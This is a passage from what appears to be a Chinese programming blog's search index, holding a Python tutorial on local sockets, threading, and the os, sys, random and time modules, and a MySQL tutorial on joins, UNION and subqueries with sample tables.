socket.SOCK_DGRAM)sk.bind(hostAddress)print("启动[Udp]socket服务,等待客户端连接...")while True: data = sk.recv(1024).decode() print("Udp服务器接收到的数据:", data) if data == 'exit': print('客户端请求退出') breaksk.close() 123456789101112131415161718192021222324# -*- coding:utf-8 -*-"""PyName:udp_Client作者:kali日期:2022年06月11日17时34分Blog:jiangjiyue.github.io"""import sockethostAddress = ('127.0.0.1', 8888)sk = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)while True: dataStr = input('[Udp]发送内容:').strip() # 向服务器发送消息 sk.sendto(dataStr.encode(), hostAddress) if dataStr == 'exit': print('客户端退出') breaksk.close() socketserver模块的应用12345678910111213141516171819202122232425262728293031# socketserver模块的应用# -*- coding:utf-8 -*-"""PyName:socketserver作者:kali日期:2022年06月11日17时14分Blog:jiangjiyue.github.io"""import socketserverclass MyHandler(socketserver.BaseRequestHandler): def handle(self): while True: data = self.request.recv(1024).decode() if data == 'exit': print('%s:%s 客户端主动断开连接' % self.client_address) break print('%s 发送来的信息: %s' % (self.client_address, data)) # 将接收到的数据全部转换为大写并返回给客户端 res = data.upper() # res为str需要转换为bytes self.request.send(res.encode()) self.request.close()if __name__ == '__main__': hostAddress = ('127.0.0.1', 8888) server = socketserver.ThreadingTCPServer(hostAddress, MyHandler) print("启动socket服务,等待客户端连接...") server.serve_forever() 多线程程序、进程、线程 程序 进程 线程 静态的代码 程序运行后至少创建一个进程 进行起来的代码 程序的执行实例动态的 进程占用内存资源 1个进程至少包含1个线程 程序执行流的最小单元 是CPU的可执行上下文 同一个进程中的线程共享同一内存空间,数据共享 线程数据的安全性需要保护 Python多线程应用 多线程(multithreading),是指从软件或者硬件上实现多个线程并发执行的技术.具有多线程能力的计算机因有硬件支持而能够在同一时间执行多于一个线程,进而提升整体处理性能.具有这种能力的系统包括对称多处理机、多核心处理器以及芯片级多处理或同时多线程处理器.在一个程序中,这些独立运行的程序片段叫作”线程“(Thread),利用它编程的概念就叫作”多线程处理” Python多线程模块-threading1234567891011121314151617181920212223242526272829303132333435363738394041# -*- coding:utf-8 -*-"""threading多线程创建方式PyName:Python从入门到精通-threading_module作者:kali-PyCharm日期:2022年06月12日08时49分Blog:jiangjiyue.github.io"""import threading# 第一种 继承Thread# class MyThread(threading.Thread):# def __init__(self, thread_name):# super(MyThread, self).__init__(name=thread_name)## def run(self):# print('%s 在执行中' % self.name)### # 创建线程# for i in range(10):# MyThread('testThread' + str(i)).start()# 第二种(推荐)def show(num): print('当前线程: %d 在执行' % num)for i in range(10): # 第一个参数是线程函数变量,第二个参数args是一个数组变量参数,如果只传递一个值, # 就只需要i, 如果需要传递多个参数,那么还可以继续传递下去其他的参数 # 其中的逗号不能少,少了就不是数组了,就会出错 t = threading.Thread(target=show, args=(i,)) t.start() 1234567891011121314151617181920212223242526# -*- coding:utf-8 -*-"""线程合并场景PyName:Python从入门到精通-threading_eg1作者:kali-PyCharm日期:2022年06月12日09时49分Blog:jiangjiyue.github.io"""import threadingimport timedef waiting(): print('子线程开始等待..') time.sleep(3) print('子线程等待结束')print('主线程开始执行')t = threading.Thread(target=waiting)t.start()print('主线程的其他操作')# join等待子线程结束,主线程才会结束t.join()print('主线程结束') 1234567891011121314151617181920212223242526# -*- coding:utf-8 -*-"""守护线程场景PyName:Python从入门到精通-threading_eg2作者:kali-PyCharm日期:2022年06月12日10时08分Blog:jiangjiyue.github.io"""import threadingimport timedef waiting(): print(threading.current_thread().getName() + '子线程开始等待..') time.sleep(3) print(threading.current_thread().getName() + '子线程等待结束')print('主线程开始执行')for i in range(3): t = threading.Thread(target=waiting) # 主线程A中,创建了子线程B,并且在主线程A中调用了B.setDaemon(),这个的意思是,把主线程A设置为守护线程,这时候,要是主线程A执行结束了,就不管子线程B是否完成, # 一并和主线程A退出.这就是setDaemon方法的含义,这基本和join是相反的.此外,还有个要特别注意的:必须在start() 方法调用之前设置,如果不设置为守护线程,程序会被无限挂起. t.setDaemon(True) t.start()print('主线程结束') 线程安全与线程锁 互斥锁Lock RLock可重入锁 信号Semaphore 事件Event 条件Condition Barrier “阻碍” 1234567891011121314151617181920212223242526272829303132# -*- coding:utf-8 -*-"""线程安全PyName:Python从入门到精通-threading_eg3作者:kali-PyCharm日期:2022年06月12日10时33分Blog:jiangjiyue.github.io"""import threadingimport timenumber = 0# 定义一个互斥锁lock = threading.Lock()def add(lk): # 加了global,则可以在函数内部对函数外的对象进行操作了,也可以改变它的值了 global number # 加锁 with lk: for _ in range(1000000): number += 1 print('子线程 %s 执行结束后: number = %d ' % (threading.current_thread().getName(), number))for i in range(2): threading.Thread(target=add, args=(lock,)).start()time.sleep(3)print('主线程结束 number = ' + str(number)) 标准库os operation system(操作系统)的缩写,这个库就是对操作系统的封装.os模块提供了多数操作系统的功能接口函数 系统相关变量和操作1234567891011121314151617181920212223242526272829303132333435363738394041# -*- coding:utf-8 -*-"""PyName:Python从入门到精通-os_module作者:kali-PyCharm日期:2022年06月12日12时02分Blog:jiangjiyue.github.io"""import os# 系统相关的内容print(os.name)# 环境变量print(os.environ)# 查看分隔符print(os.sep)print(os.pathsep)# 文件和目录操作# 创建目录# os.mkdir('test')# 状态print(os.stat('test'))# 当前路径print(os.getcwd())# 重命名# os.rename('test', 'test2')# isabs 判断是否为绝对路径 return True And Falsefile = os.getcwd()+r'\\os_module.py'print(file)print(os.path.isabs(file))# isdir:判断目录是否存在 isfile:判断文件是否存在# 判断文件是否存在print(os.path.exists(file))# getatime 最后修改时间print(os.path.getatime(file))# getctime 创建时间print(os.path.getctime(file))# 文件大小print(os.path.getsize(file)) 文件和目录相关操作执行命令和管理进程12# os: system popenos.system('ipconfig') sys “sys”即”system”,”系统”之意.该模块提供了一些接口,用于访问 Python 解释器自身使用和维护的变量,同时模块中还提供了一部分函数,可以与解释器进行比较深度的交互. 方法 描述 sys.argv() 实现从程序的外部向程序传递参数 返回的是一个列表, 第一个元素是程序文件名, 第二个元素是程序外部传入的参数 sys.path() 获取指定模块搜索路径的字符串集合, 返回的是一个列表 (表示可以使用 append或者insert) 可以将写好的模块放入某个路径下, 然后将这个路径添加到 sys.path 里面, import时就可以找到 sys.exit(n) 退出程序, 正常退出时 sys.exit(0), 其他为异常退出 一般情况下运行到主程序尾部, 解释器就正常退出了, 但如果想要中途退出, 就可以调用 sys.exit 函数 sys.version() 获取 Python 解释程序的版本信息 sys.platform() 返回操作系统平台名称 sys.maxsize() 最大的 int 值 sys.getdefaultencoding( ) 获取解释器默认编码 sys.getfilesystemencoding( ) 获取内存数据存到文件里的默认编码 sys.getrecursionlimit( ) 获取最大递归层数 sys.setrecursionlimit( ) 设置最大递归层数 sys.stdin.readline( ) 标准输入 sys.stdout.write(“xxx”) 标准输出 (相比较 print 能更好的控制输出) 123456789101112131415161718192021222324# -*- coding:utf-8 -*-"""PyName:Python从入门到精通-sys_module作者:kali-PyCharm日期:2022年06月12日13时45分Blog:jiangjiyue.github.io"""import sys# 运行环境版本号print(sys.version)# 当前版本能够表示最大的intprint(sys.maxsize)# python所查找的路径print(sys.path)# 操作系统标识(根据Python所安装来标识)print(sys.platform)# Python版权信息print(sys.copyright)# 参数print(sys.argv)# 默认编码print(sys.getdefaultencoding()) random random模块用于生成伪随机数. 真正意义上的随机数(或者随机事件)是按照实验过程中表现的分布概率随机产生的,其结果是不可预测的. 而计算机中的随机数是所谓的随机函数按照一定算法模拟产生的,其结果是确定的,是可预测的. 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556# -*- coding:utf-8 -*-"""PyName:Python从入门到精通-random_module作者:kali-PyCharm日期:2022年06月12日14时23分Blog:jiangjiyue.github.io"""import randomimport stringdef demo_random(): # 生成随机的整数 print(random.randint(1, 100)) # 随机生成基数用randrange,random.randrange ([start,] stop [,step]) print(random.randrange(1, 101, 2)) # 生成随机的浮点数 print(random.random()) # 范围0.0-1.0 # 指定范围生成浮点数 print(random.uniform(10.0, 11.0)) # 非数字类型的随机抽样 target_list = ['a', 'b', 'c', 'd', 'e', 'f'] print(random.choice(target_list)) # 乱序 print(target_list) # random.shuffle 必须是可改变的列表,元组也不行 # random.shuffle(target_list) # print(target_list) # 在target_list列表中随机抽取4个适用于任何元素 print(random.sample(target_list, 4)) print(random.sample(target_list, len(target_list))) print(target_list)# 生成随机密码的字符串 字母+符号 可以指定生成字符串的位数def random_str(length): # 随机生成数字和字母的位数 num_count = random.randint(1, length / 2) letter_count = length - num_count # 生成随机列表 num_list = [random.choice(string.digits) for _ in range(num_count)] letter_list = [random.choice(string.ascii_letters) for _ in range(letter_count)] # 列表+列表=列表 results = num_list + letter_list # 乱序密码 random.shuffle(results) # 将列表拼接成字符串 result = "".join([i for i in results]) return resultif __name__ == '__main__': print(random_str(10)) timetime模块中三种时间表示方式 时间戳 结构化时间对象 格式化时间字符串 格式符 说明 %a 星期的英文单词的缩写:如星期一, 则返回 Mon %A 星期的英文单词的全拼:如星期一,返回 Monday %b 月份的英文单词的缩写:如一月, 则返回 Jan %B 月份的引文单词的缩写:如一月, 则返回 January %c 返回datetime 的字符串表示,如03/08/15 23:01:26 %d 返回的是当前时间是当前月的第几天 %f 微秒的表示: 范围: [0,999999] %H 以24小时制表示当前小时 %I 以12小时制表示当前小时 %j 返回 当天是当年的第几天 范围[001,366] %m 返回月份 范围[0,12] %M 返回分钟数 范围 [0,59] %P 返回是上午还是下午–AM or PM %S 返回秒数 范围 [0,61]…手册说明的 %U 返回当周是当年的第几周 以周日为第一天 %W 返回当周是当年的第几周 以周一为第一天 %w 当天在当周的天数,范围为[0, 6],6表示星期天 %x 日期的字符串表示 :03/08/15 %X 时间的字符串表示 :23:22:08 %y 两个数字表示的年份 15 %Y 四个数字表示的年份 2015 %z 与utc时间的间隔 (如果是本地时间,返回空字符串) %Z 时区名称(如果是本地时间,返回空字符串) 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859# -*- coding:utf-8 -*-"""PyName:Python从入门到精通-time_module作者:kali-PyCharm日期:2022年06月12日16时13分Blog:jiangjiyue.github.io"""import time# 时间戳 1970年1月1日 0:0 到指定时间的间隔# 打印当前的时间戳print(time.time())# 结构化时间对象 对象的属性是只读的st = time.localtime()print(type(st))# 本质是一个tuple 使用索引的方式print('今天是{}年-{:02d}月-{:02d}日'.format(st[0], st[1], st[2]))print('今天是星期{}'.format(st.tm_wday + 1))# 格式化时间字符串print(time.ctime())# time.strftime(时间格式) '%Y-%m-%d %H:%M:%S'print(time.strftime('%Y年%m月%d日 %H时:%M分:%S秒'))print(time.strftime('%Y-%m-%d %H:%M:%S'))# # sleep 让程序睡一会~# t1 = time.time()# print('sleep start')# time.sleep(3)# print('sleep end')# t2 = time.time()# print('执行了{:.3f}秒'.format(t2 - t1))print(' ', end='')# 三种格式之间的转换print('时间戳 --> 结构化对象')# UTC时间print(time.gmtime())print(time.gmtime(time.time() - 3600))# localprint(time.localtime())print(time.localtime(time.time() - 3600))print(' ', end='')print('结构化对象 --> 时间戳')print(time.mktime(time.localtime()))print(' ', end='')print('结构化对象 --> 格式化时间字符串')# time.strftime(format,str) 参数二为结构化对象print(time.localtime())print(time.strftime('%Y年%m月%d日 %H时:%M分:%S秒', time.localtime()))print(' ', end='')print('格式化的字符串 --> 结构化时间对象')# time.strptime(str,format)strtime = '2022-06-12 16:40:20'print(time.strptime(strtime, '%Y-%m-%d %H:%M:%S'))","tags":["编程语言","Python"],"categories":["编程语言","Python"]},{"title":"Linux-MySQL从入门到精通(下)","path":"/2024/01/31/375e6e18/","content":"总字符数: 19.91K 代码: 10.67K, 文本: 5.08K 预计阅读时间: 1.14 小时 多表查询我们之前在讲解SQL语句的时候,讲解了DQL语句,也就是数据查询语句,但是之前讲解的查询都是单表查询,而本章节我们要学习的则是多表查询操作,主要从以下几个方面进行讲解. 多表关系项目开发中,在进行数据库表结构设计时,会根据业务需求及业务模块之间的关系,分析并设计表结构,由于业务之间相互关联,所以各个表结构之间也存在着各种联系,基本上分为三种: 一对多(多对一) 多对多 一对一 一对多案例: 部门 与 员工的关系关系: 一个部门对应多个员工,一个员工对应一个部门实现: 在多的一方建立外键,指向一的一方的主键 多对多案例: 学生与课程的关系关系: 一个学生可以选修多门课程,一门课程也可以供多个学生选择实现: 建立第三张中间表,中间表至少包含两个外键,分别关联两方主键 对应的SQL脚本: 1234567891011121314151617181920212223242526272829303132333435363738CREATE TABLE student ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键ID', name VARCHAR(10) COMMENT '姓名', no VARCHAR(10) COMMENT '学号') COMMENT '学生表';INSERT INTO student (name, no) VALUES ('黛绮丝', '2000100101'),('谢逊', '2000100102'),('殷天正', '2000100103'),('韦一笑', '2000100104');CREATE TABLE course ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键ID', name VARCHAR(10) COMMENT '课程名称') COMMENT '课程表';INSERT INTO course (name) VALUES ('Java'), ('PHP'), ('MySQL'), ('Hadoop');CREATE TABLE student_course ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键', studentid INT NOT NULL COMMENT '学生ID', courseid INT NOT NULL COMMENT '课程ID', CONSTRAINT fk_courseid FOREIGN KEY (courseid) REFERENCES course (id), CONSTRAINT fk_studentid FOREIGN KEY (studentid) REFERENCES student (id)) COMMENT '学生课程中间表';INSERT INTO student_course (studentid, courseid) VALUES (1, 1),(1, 2),(1, 3),(2, 2),(2, 3),(3, 4); 一对一案例: 用户 与 用户详情的关系关系: 一对一关系,多用于单表拆分,将一张表的基础字段放在一张表中,其他详情字段放在另一张表中,以提升操作效率实现: 在任意一方加入外键,关联另外一方的主键,并且设置外键为唯一的(UNIQUE) 对应的SQL脚本: 123456789101112131415161718192021222324252627282930CREATE TABLE tb_user ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键ID', name VARCHAR(10) COMMENT '姓名', age INT COMMENT '年龄', gender CHAR(1) COMMENT '1: 男 , 2: 女', phone CHAR(11) COMMENT '手机号') COMMENT '用户基本信息表';CREATE TABLE tb_user_edu ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键ID', degree VARCHAR(20) COMMENT '学历', major VARCHAR(50) COMMENT '专业', primaryschool VARCHAR(50) COMMENT '小学', middleschool VARCHAR(50) COMMENT '中学', university VARCHAR(50) COMMENT '大学', userid INT UNIQUE COMMENT '用户ID', CONSTRAINT fk_userid FOREIGN KEY (userid) REFERENCES tb_user(id)) COMMENT '用户教育信息表';INSERT INTO tb_user (name, age, gender, phone) VALUES ('黄渤', 45, '1', '18800001111'),('冰冰', 35, '2', '18800002222'),('码云', 55, '1', '18800008888'),('李彦宏', 50, '1', '18800009999');INSERT INTO tb_user_edu (degree, major, primaryschool, middleschool, university, userid) VALUES ('本科', '舞蹈', '静安区第一小学', '静安区第一中学', '北京舞蹈学院', 1),('硕士', '表演', '朝阳区第一小学', '朝阳区第一中学', '北京电影学院', 2),('本科', '英语', '杭州市第一小学', '杭州市第一中学', '杭州师范大学', 3),('本科', '应用数学', '阳泉第一小学', '阳泉区第一中学', '清华大学', 4); 多表查询概述数据准备 删除之前 emp, dept表的测试数据 执行如下脚本,创建emp表与dept表并插入测试数据 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647-- 创建dept表,并插入数据CREATE TABLE dept ( id INT AUTO_INCREMENT COMMENT 'ID' PRIMARY KEY, name VARCHAR(50) NOT NULL COMMENT '部门名称') COMMENT '部门表';INSERT INTO dept (name) VALUES ('研发部'), ('市场部'),('财务部'), ('销售部'), ('总经办'), ('人事部');-- 创建emp表,并插入数据CREATE TABLE emp ( id INT AUTO_INCREMENT COMMENT 'ID' PRIMARY KEY, name VARCHAR(50) NOT NULL COMMENT '姓名', age INT COMMENT '年龄', job VARCHAR(20) COMMENT '职位', salary INT COMMENT '薪资', entrydate DATE COMMENT '入职时间', managerid INT COMMENT '直属领导ID', dept_id INT COMMENT '部门ID', FOREIGN KEY (dept_id) REFERENCES dept(id)) COMMENT '员工表';INSERT INTO emp (name, age, job, salary, entrydate, managerid, dept_id) VALUES ('金庸', 66, '总裁', 20000, '2000-01-01', NULL, 5), ('张无忌', 20, '项目经理', 12500, '2005-12-05', 1, 1), ('杨逍', 33, '开发', 8400, '2000-11-03', 2, 1), ('韦一笑', 48, '开发', 11000, '2002-02-05', 2, 1), ('常遇春', 43, '开发', 10500, '2004-09-07', 3, 1), ('小昭', 19, '程序员鼓励师', 6600, '2004-10-12', 2, 1), ('灭绝', 60, '财务总监', 8500, '2002-09-12', 1, 3), ('周芷若', 19, '会计', 4800, '2006-06-02', 7, 3), ('丁敏君', 23, '出纳', 5250, '2009-05-13', 7, 3), ('赵敏', 20, '市场部总监', 12500, '2004-10-12', 1, 2), ('鹿杖客', 56, '职员', 3750, '2006-10-03', 10, 2), ('鹤笔翁', 19, '职员', 3750, '2007-05-09', 10, 2), ('方东白', 19, '职员', 5500, '2009-02-12', 10, 2), ('张三丰', 88, '销售总监', 14000, '2004-10-12', 1, 4), ('俞莲舟', 38, '销售', 4600, '2004-10-12', 14, 4), ('宋远桥', 40, '销售', 4600, '2004-10-12', 14, 4), ('陈友谅', 42, NULL, 2000, '2011-10-12', 1, NULL);-- dept表共6条记录,emp表共17条记录. 概述多表查询就是指从多张表中查询数据.原来查询单表数据,执行的SQL形式为:select * from emp; 那么我们要执行多表查询,就只需要使用逗号分隔多张表即可,如: select * from emp , dept ;具体的执行结果如下: 此时,我们看到查询结果中包含了大量的结果集,总共102条记录,而这其实就是员工表emp所有的记录 (17) 与 部门表dept所有记录(6) 的所有组合情况,这种现象称之为笛卡尔积.接下来,就来简单介绍下笛卡尔积.笛卡尔积: 笛卡尔乘积是指在数学中,两个集合A集合 和 B集合的所有组合情况 而在多表查询中,我们是需要消除无效的笛卡尔积的,只保留两张表关联部分的数据. 在SQL语句中,如何来去除无效的笛卡尔积呢? 我们可以给多表查询加上连接查询的条件即可.select * from emp , dept where emp.dept_id = dept.id; 而由于id为17的员工,没有dept_id字段值,所以在多表查询时,根据连接查询的条件并没有查询到. 分类 连接类型 描述 特点 内连接 只查询两个表中匹配的数据. 结果集中仅包含两表中都有的记录. 左外连接 查询左表所有数据以及两表交集部分数据. 结果集包含左表所有记录,如果右表中有匹配,则包含右表数据,否则右表部分为NULL. 右外连接 查询右表所有数据以及两表交集部分数据. 结果集包含右表所有记录,如果左表中有匹配,则包含左表数据,否则左表部分为NULL. 全外连接 查询两表所有数据,不仅仅是交集部分. 结果集包括左表和右表的所有记录,匹配的行将一起显示,不匹配的行则与NULL填充. 自连接 当前表与自身进行连接查询,必须使用表别名以区分同一表的不同实例. 常用于查询具有层次或树状结构的数据. 内连接 内连接查询的目的是返回两张表中匹配关联条件的交集部分的数据. 语法结构内连接的语法有隐式和显式两种不同的形式: 隐式内连接使用逗号分隔表名,然后在WHERE子句中指定条件. 123SELECT 字段列表FROM 表1, 表2WHERE 条件...; 显式内连接使用INNER JOIN关键字连接两个表,并在ON子句中指定连接条件. 12SELECT 字段列表FROM 表1 [INNER] JOIN 表2 ON 连接条件...; 案例设有两个表结构emp和dept,员工表emp和部门表dept通过dept_id关联. A. 隐式内连接实现查询员工姓名及其关联的部门名称123456789-- 不使用别名SELECT emp.name, dept.nameFROM emp, deptWHERE emp.dept_id = dept.id;-- 使用别名简化SQLSELECT e.name, d.nameFROM emp e, dept dWHERE e.dept_id = d.id; B. 显式内连接实现查询员工姓名及其关联的部门名称123456789-- 使用INNER JOIN关键字和表别名SELECT e.name, d.nameFROM emp eINNER JOIN dept d ON e.dept_id = d.id;-- 省略INNER关键字SELECT e.name, d.nameFROM emp eJOIN dept d ON e.dept_id = d.id; 表的别名使用表别名可以在FROM子句中使用AS关键字定义,也可以直接跟在表名之后. 12345-- 使用AS关键字定义别名SELECT * FROM tablea AS a, tableb AS b;-- 直接跟在表名之后定义别名SELECT * FROM tablea a, tableb b; 注意事项 别名一旦定义,在当前查询语句中必须使用别名来引用表内的字段. 原始表名在定义别名后在当前查询中不再使用. 外连接 外连接包括左外连接和右外连接,用于不仅查询表之间的匹配数据,还包括左表或右表中的所有数据. 语法结构1. 左外连接使用LEFT [OUTER] JOIN关键字,通常用于查询左表(表1)的全部数据,以及两表交集的数据. 123SELECT 字段列表FROM 表1 LEFT [OUTER] JOIN 表2ON 条件...; 2. 右外连接使用RIGHT [OUTER] JOIN关键字,通常用于查询右表(表2)的全部数据,以及两表交集的数据. 123SELECT 字段列表FROM 表1 RIGHT [OUTER] JOIN 表2ON 条件...; 案例A. 左外连接查询emp表的所有数据,以及与之对应的部门信息. 假设有两个表emp和dept,员工表emp通过dept_id与部门表dept关联. 1234567891011-- 使用LEFT OUTER JOIN关键字SELECT e.*, d.nameFROM emp eLEFT OUTER JOIN dept dON e.dept_id = d.id;-- 省略OUTER关键字SELECT e.*, d.nameFROM emp eLEFT JOIN dept dON e.dept_id = d.id; B. 右外连接查询dept表的所有数据,以及与之对应的员工信息. 1234567891011-- 使用RIGHT OUTER JOIN关键字SELECT d.*, e.*FROM emp eRIGHT OUTER JOIN dept dON e.dept_id = d.id;-- 将右外连接替换为左外连接SELECT d.*, e.*FROM dept dLEFT OUTER JOIN emp eON e.dept_id = d.id; 注意事项 左外连接和右外连接在逻辑上是可以互相转换的,只需要调整连接查询时SQL中表的先后位置. 在实际开发中,左外连接比右外连接使用得更为频繁. 自连接自连接查询自连接指的是一张表与其自身进行连接查询.自连接可以是内连接也可以是外连接. 语法结构自连接至少需要为同一张表设定两个不同的别名,以区分连接中的两个不同的表角色. 1234SELECT 字段列表FROM 表A 别名A[INNER/LEFT/RIGHT] JOIN 表A 别名BON 条件...; 案例A. 查询员工及其所属领导的名字在emp表中通过managerid关联自己,以查询员工及其对应的领导名字. 123SELECT a.name AS '员工', b.name AS '领导'FROM emp aJOIN emp b ON a.managerid = b.id; B. 查询所有员工及其领导的名字,包括没有领导的员工使用左外连接以确保即使员工没有领导也会被查询出来. 123SELECT a.name AS '员工', b.name AS '领导'FROM emp aLEFT JOIN emp b ON a.managerid = b.id; 注意事项 在进行自连接时,别名的使用是必须的,以便清楚地区分条件和字段所属的表的不同实例. 不使用别名将导致查询语句在引用字段时产生歧义. 联合查询UNION查询用于合并两个或多个SELECT语句的结果集,返回一个新的结果集. 语法结构使用UNION或UNION ALL将多个查询合并,需确保每个查询中的字段数目和数据类型都一致. 123SELECT 字段列表 FROM 表A ...UNION [ALL]SELECT 字段列表 FROM 表B ...; 特点 UNION在合并结果集时会自动去除重复的记录. UNION ALL直接合并结果集,包含所有重复记录. 案例A. 查询薪资低于5000或年龄大于50岁的员工可以使用OR逻辑运算符进行查询,也可以使用UNION或UNION ALL来实现. 12345678910111213141516171819202122-- 使用OR逻辑运算符SELECT *FROM empWHERE salary < 5000 OR age > 50;-- 使用UNION ALL联合查询SELECT *FROM empWHERE salary < 5000UNION ALLSELECT *FROM empWHERE age > 50;-- 使用UNION去除重复记录SELECT *FROM empWHERE salary < 5000UNIONSELECT *FROM empWHERE age > 50; 注意事项 在使用UNION时,每个查询必须有相同数量的列,列的顺序和类型必须兼容. 如果希望包含重复行,应使用UNION ALL. 如果想要结果集排序,只能在最后一个SELECT语句后使用ORDER BY子句. union all查询出来的结果,仅仅进行简单的合并,并未去重 1select * from emp where salary < 5000 union sselect * from emp where age > 50; union 联合查询,会对查询出来的结果进行去重处理 如果多条查询语句查询出来的结果,字段数量不一致,在进行union/union all联合查询时,将会报错 子查询概念SQL语句中嵌套SELECT语句,称为嵌套查询,又称子查询. 1SELECT * FROM t1 WHERE column1 = ( SELECT column1 FROM t2 ); 子查询外部的语句可以是INSERT / UPDATE / DELETE / SELECT 的任何一个. 分类根据子查询结果不同,分为: 标量子查询(子查询结果为单个值) 列子查询(子查询结果为一列) 行子查询(子查询结果为一行) 表子查询(子查询结果为多行多列) 根据子查询位置,分为: WHERE之后 FROM之后 SELECT之后 标量子查询标量子查询返回单个值的子查询,常与比较操作符结合使用. 常用操作符 等于= 不等于<> 大于> 大于等于>= 小于< 小于等于<= 案例A. 查询”销售部”的所有员工信息可以通过子查询找到”销售部”的部门ID,然后使用该ID查询员工信息. 12345-- 查询"销售部"的部门IDSELECT id FROM dept WHERE name = '销售部';-- 使用子查询查询"销售部"的员工信息SELECT * FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '销售部'); B. 查询在”方东白”入职之后的员工信息先找出”方东白”的入职日期,然后查询所有在此日期之后入职的员工. 12345-- 查询"方东白"的入职日期SELECT entrydate FROM emp WHERE name = '方东白';-- 使用子查询查询在"方东白"之后入职的员工SELECT * FROM emp WHERE entrydate > (SELECT entrydate FROM emp WHERE name = '方东白'); 注意事项 子查询在括号内执行,并返回单个值,供外部查询使用. 确保子查询返回的是单个值,否则会导致错误. 子查询可以用在SELECT、FROM、WHERE等子句中. 列子查询子查询返回的结果是一列(可以是多行),这种子查询称为列子查询.常用的操作符:IN 、NOT IN 、 ANY 、SOME 、 ALL A. 查询”销售部”和”市场部”的所有员工信息要查询两个部门的员工信息,可以先找到这两个部门的ID,然后在员工表中查找. 12345-- 查询"销售部"和"市场部"的部门IDSELECT id FROM dept WHERE name = '销售部' OR name = '市场部';-- 根据部门ID查询员工信息SELECT * FROM emp WHERE dept_id IN (SELECT id FROM dept WHERE name = '销售部' OR name = '市场部'); B. 查询比财务部所有人工资都高的员工信息寻找所有财务部员工的工资,然后比较其他员工的工资是否都高于财务部的. 123456789-- 查询财务部的部门IDSELECT id FROM dept WHERE name = '财务部';-- 查询财务部所有员工的工资SELECT salary FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '财务部');-- 查询比财务部所有人工资都高的员工信息SELECT * FROM emp WHERE salary > ALL (SELECT salary FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '财务部')); C. 查询比研发部其中任意一人工资高的员工信息找出研发部所有人的工资,然后查询工资高于研发部任一员工工资的员工. 123456-- 查询研发部所有人的工资SELECT salary FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '研发部');-- 查询比研发部其中任意一人工资高的员工信息SELECT * FROM emp WHERE salary > ANY (SELECT salary FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '研发部')); 注意事项 在使用IN子句时,子查询可以返回一个或多个值. 使用ALL关键字时,外层查询的结果必须大于子查询返回的所有值. 使用ANY(或SOME)时,只需外层查询的结果大于子查询返回值中的任意一个即可. 确保子查询与外部查询在逻辑上正确关联,以避免意外的查询结果. 行子查询子查询返回的结果是一行(可以是多列),这种子查询称为行子查询.常用的操作符:= 、<> 、IN 、NOT IN A. 查询与 “张无忌” 的薪资及直属领导相同的员工信息 ;12345-- 这个需求同样可以拆解为两步进行:-- 查询 "张无忌" 的薪资及直属领导select salary, managerid from emp where name = '张无忌'; -- 查询与 "张无忌" 的薪资及直属领导相同的员工信息 ;select * from emp where (salary,managerid) = (select salary, managerid from emp where name = '张无忌'); 表子查询子查询返回的结果是多行多列,这种子查询称为表子查询.常用的操作符:IN A. 查询与 “鹿杖客” , “宋远桥” 的职位和薪资相同的员工信息12345-- 分解为两步执行: -- 查询 "鹿杖客" , "宋远桥" 的职位和薪资select job, salary from emp where name = '鹿杖客' or name = '宋远桥';-- 查询与 "鹿杖客" , "宋远桥" 的职位和薪资相同的员工信息select * from emp where (job,salary) in ( select job, salary from emp where name = '鹿杖客' or name = '宋远桥' ); B. 查询入职日期是 “2006-01-01” 之后的员工信息 , 及其部门信息分解为两步执行:12345-- 入职日期是 "2006-01-01" 之后的员工信息select * from emp where entrydate > '2006-01-01';-- 查询这部分员工, 对应的部门信息; select e.*, d.* from (select * from emp where entrydate > '2006-01-01') e left join dept d on e.dept_id = d.id ; 多表查询案例12345678910111213141516-- 创建薪资等级表salgradeCREATE TABLE salgrade ( grade INT, losal INT, hisal INT) COMMENT '薪资等级表';-- 向薪资等级表中插入数据INSERT INTO salgrade VALUES (1, 0, 3000);INSERT INTO salgrade VALUES (2, 3001, 5000);INSERT INTO salgrade VALUES (3, 5001, 8000);INSERT INTO salgrade VALUES (4, 8001, 10000);INSERT INTO salgrade VALUES (5, 10001, 15000);INSERT INTO salgrade VALUES (6, 15001, 20000);INSERT INTO salgrade VALUES (7, 20001, 25000);INSERT INTO salgrade VALUES (8, 25001, 30000); 在这个案例中,我们主要运用上面所讲解的多表查询的语法,完成以下的12个需求即可,而这里主要涉及到的表就三张: emp员工表 dept部门表 salgrade薪资等级表 . 查询员工的姓名、年龄、职位、部门信息(隐式内连接)表: emp,dept 连接条件: emp.dept_id = dept.id1select e.name , e.age , e.job , d.name from emp e , dept d where e.dept_id = d.id;查询年龄小于30岁的员工的姓名、年龄、职位、部门信息(显式内连接) 表: emp,dept 连接条件: emp.dept_id = dept.id1select e.name, e.age, e.job, d.name from emp e inner join dept d on e.dept_id = d.id where e.age < 30; 查询拥有员工的部门ID、部门名称表: emp,dept 连接条件: emp.dept_id = dept.id1select distinct d.id , d.name from emp e , dept d where e.dept_id = d.id; 查询所有年龄大于40岁的员工, 及其归属的部门名称; 如果员工没有分配部门, 也需要展示出来(外连接) 表: emp,dept 连接条件: emp.dept_id = dept.id1select e.*, d.name from emp e left join dept d on e.dept_id = d.id where e.age > 40 ; 查询所有员工的工资等级 表: emp , salgrade 连接条件 : emp.salary >= salgrade.losal and emp.salary","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"Linux-MySQL从入门到精通(中)","path":"/2024/01/30/f480ed3c/","content":"总字符数: 20.67K 代码: 13.80K, 文本: 3.44K 预计阅读时间: 1.25 小时 